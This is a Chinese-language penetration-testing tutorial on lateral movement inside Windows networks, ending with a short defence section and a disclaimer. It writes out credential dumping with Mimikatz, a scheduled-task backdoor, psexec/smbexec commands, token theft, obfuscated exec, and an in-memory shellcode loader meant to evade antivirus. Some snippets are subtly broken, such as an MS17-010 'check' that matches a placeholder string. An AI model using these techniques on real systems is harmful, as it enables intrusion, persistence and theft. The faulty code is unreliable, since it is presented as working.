0x01 初探网络架构与攻击思路
在进行内网渗透横向移动之前,我们需要对目标网络的架构有一个基本的了解。内网环境通常由多个子网、域控服务器、文件共享服务器以及各种操作系统平台组成。攻击者在获取初始 foothold 后,需要通过横向移动进一步扩大控制范围,最终达到窃取数据或控制关键设施的目的。
网络环境架构:
- 客户端设备:通常运行 Windows 7/10,可能有 Windows Defender 或第三方杀软。
- 服务器架构:包括 Windows Server 2012/2016,域控服务器通常启用 Kerberos 认证。
- 网络分段:使用 VLAN 或子网来分隔不同部门的网络流量。
- 安全设施:可能部署了防火墙、入侵检测系统(IDS)和企业 EDR。
攻击者的目标:
- 获取更多系统的访问权限
- 寻找能提升权限的漏洞
- 在不被发现的情况下进行数据窃取
了解了这些,我们就可以开始设计攻击链。主要分为以下几个步骤:信息收集、漏洞利用、权限提升、横向移动和数据窃取。
0x02 信息收集与初始漏洞利用
信息收集是渗透的第一步,通过各种手段探测目标网络的结构和潜在漏洞。以下是一些常用的技术:
主动信息收集
通过端口扫描、服务枚举等方式来获取网络中哪些服务正在运行。
<pre><code class="language-bash"># 使用nmap扫描内网的常用端口 nmap -p 80,443,445,3389 -sS 192.168.1.0/24</code></pre>
被动信息收集
监听网络流量,识别潜在的目标和服务。常用工具有 Wireshark、tcpdump。
<pre><code class="language-bash"># 使用tcpdump抓包 tcpdump -i eth0 -w capture.pcap</code></pre>
漏洞利用
信息收集之后,根据已知漏洞进行初始攻击。假设我们发现某台服务器上的 SMB 服务存在 MS17-010 漏洞(永恒之蓝)。
<pre><code class="language-python"># 使用Python实现MS17-010漏洞检测 import socket
def check_vuln(ip): try: s = socket.socket() s.connect((ip, 445)) s.send(b'\x00' * 1024) if b'something specific' in s.recv(1024): print(f"{ip} is vulnerable") except Exception as e: print(f"Error checking {ip}: {e}")
check_vuln('192.168.1.5')</code></pre>
利用漏洞后,我们可以获得一个初始 shell,通常是低权限的,接下来就需要进行权限提升。
0x03 提权策略与手段
在内网中,提权是横向移动的关键步骤。常用的方法包括:
漏洞提权
利用内核漏洞或软件提权漏洞,获取管理员权限。例如,利用 Windows 中的某个提权漏洞:
<pre><code class="language-bash"># 假设我们有一个漏洞利用工具 ./exploit --target 192.168.1.5 --port 445</code></pre>
凭据盗取
利用 Mimikatz 等工具,从内存中提取明文密码或哈希。
<pre><code class="language-shell"># 使用mimikatz提取凭据 sekurlsa::logonpasswords</code></pre>
权限维持
成功提权后,需要维持权限。常用技术有:
- 创建计划任务:周期性执行恶意代码。
- 植入后门:如修改启动项或利用 WMI 订阅。
<pre><code class="language-powershell"># 创建一个计划任务 schtasks /create /tn "MyTask" /tr "C:\path\to\your\backdoor.exe" /sc onstart</code></pre>
0x04 横向移动技术细节
横向移动是内网渗透的核心,通常通过以下几种方式实现:
远程服务利用
利用 SMB、RDP、WMI 等服务进行横向移动。
<pre><code class="language-bash"># 使用smbexec执行命令 smbexec -H 192.168.1.10 -u admin -p password --exec-command 'cmd.exe /c whoami'</code></pre>
令牌窃取
窃取有效用户的身份令牌,冒充该用户进行操作。
<pre><code class="language-python"># 使用python窃取令牌 import ctypes
def steal_token(pid): hToken = ctypes.c_int() ctypes.windll.advapi32.OpenProcessToken(ctypes.windll.kernel32.OpenProcess(pid), 0x0002, ctypes.byref(hToken)) return hToken
token = steal_token(1234) # 假设1234是目标进程的PID</code></pre>
PSExec 技术
使用 PsExec 工具在远程主机上执行命令。
<pre><code class="language-bash"># 使用psexec在远程主机执行命令 psexec \\192.168.1.10 -u admin -p password cmd.exe</code></pre>
0x05 绕过与免杀技巧
随着安全产品的进步,免杀技术显得尤为重要。以下是一些常用的对抗措施:
加壳与混淆
通过代码混淆和加壳来绕过静态分析。

<pre><code class="language-python"># 使用简单的字符串混淆 exec(''.join([chr(ord(char) + 1) for char in "print('Hello World')"]))</code></pre>
内存加载技术
将恶意代码加载到内存中执行,避免文件落地。
<pre><code class="language-python"># 在内存中运行shellcode import ctypes

shellcode = b"\x90\x90\x90..." # 你的shellcode ptr = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x3000, 0x40) ctypes.windll.kernel32.RtlMoveMemory(ptr, shellcode, len(shellcode)) handle = ctypes.windll.kernel32.CreateThread(0, 0, ptr, 0, 0, 0) ctypes.windll.kernel32.WaitForSingleObject(handle, -1)</code></pre>
协议伪装
通过伪装恶意流量为合法协议,例如 HTTPS,加大检测难度。

<pre><code class="language-bash"># 使用openvpn进行流量加密 openvpn --config myconfig.ovpn</code></pre>
0x06 检测与防御的思考
从攻击者的视角来看,安全检测技术的进步使得渗透变得更加困难。因此,攻击者必须不断更新技术以绕过防御。
常见检测手段:
- 流量分析:通过监控流量特征,检测异常活动。
- 行为分析:通过行为模式分析识别恶意活动。
- 文件扫描:使用静态和动态分析检测恶意文件。
防御建议:
- 实施最小权限原则,限制用户的权限。
- 定期更新补丁,修复已知漏洞。
- 部署多层次的安全防御系统,提升检测能力。
0x07 个人经验分享
在实际攻防演练中,灵活运用各种技术和工具才能成功渗透。以下是一些经验之谈:
- 多准备几个Payload:环境不同,免杀效果也不同,多备几个以备不时之需。
- 保持隐蔽:每一步操作都要考虑隐蔽性,尽可能减少在目标主机上的痕迹。
- 及时学习更新:安全领域瞬息万变,保持学习才能立于不败之地。

合法声明:本文仅限于授权的安全测试,任何滥用本文内容所产生的法律责任与作者无关。本文供安全研究人员学习提高使用。